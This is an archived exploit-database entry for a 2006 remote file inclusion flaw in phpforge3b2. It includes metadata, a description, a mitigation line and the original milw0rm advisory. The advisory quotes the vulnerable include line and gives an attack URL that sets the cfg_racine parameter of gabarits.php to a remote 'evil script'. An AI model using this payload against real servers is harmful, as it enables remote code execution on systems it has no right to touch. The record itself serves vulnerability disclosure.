phpforge3b2(cfg_racine) Remote File Inclusion Vulnerability

vendor:

phpforge3b2

by:

Snake & hadihadi_zedehal

7,5

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: phpforge3b2

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

phpforge3b2(cfg_racine) Remote File Inclusion Vulnerability

A vulnerability exists in phpforge3b2(cfg_racine) which allows an attacker to include a remote file by manipulating the 'cfg_racine' parameter in a vulnerable URL. An attacker can exploit this vulnerability to execute arbitrary code on the vulnerable system with the privileges of the webserver process.

Mitigation:

Input validation should be used to prevent the inclusion of remote files.

Source

Exploit-DB raw data:

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
phpforge3b2(cfg_racine) Remote File Inclusion Vulnerability
------------------------
Virangar Security Team
www.virangar.org >public
www.virangar.net >priv8
--------
Discoverd By : Snake & hadihadi_zedehal
contact  :  Snake.Apollyon@YaHo0.com  ** hadihadi_zedehal_2006@YaHo0.com
special tnx 2: A.Nosrati * l0pht.Blackhot * Kouros.virus & all virangar members
greetz:hadi_aryaie2004 * ahmad_virangar2004  * mahtab_e66
---------
bug found in file :gabarits.php
Remote : Yes
Critical Level : Dangerous
web:http://phpforge.oirac.com/
---------
vlu codes:
include_once($cfg_racine."inc/systeme.php");
---------

http://www.victim.com/[patch]/inc/gabarits.php?cfg_racine=[evil script]

--------
See you in Hell!!.....
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

# milw0rm.com [2006-07-22]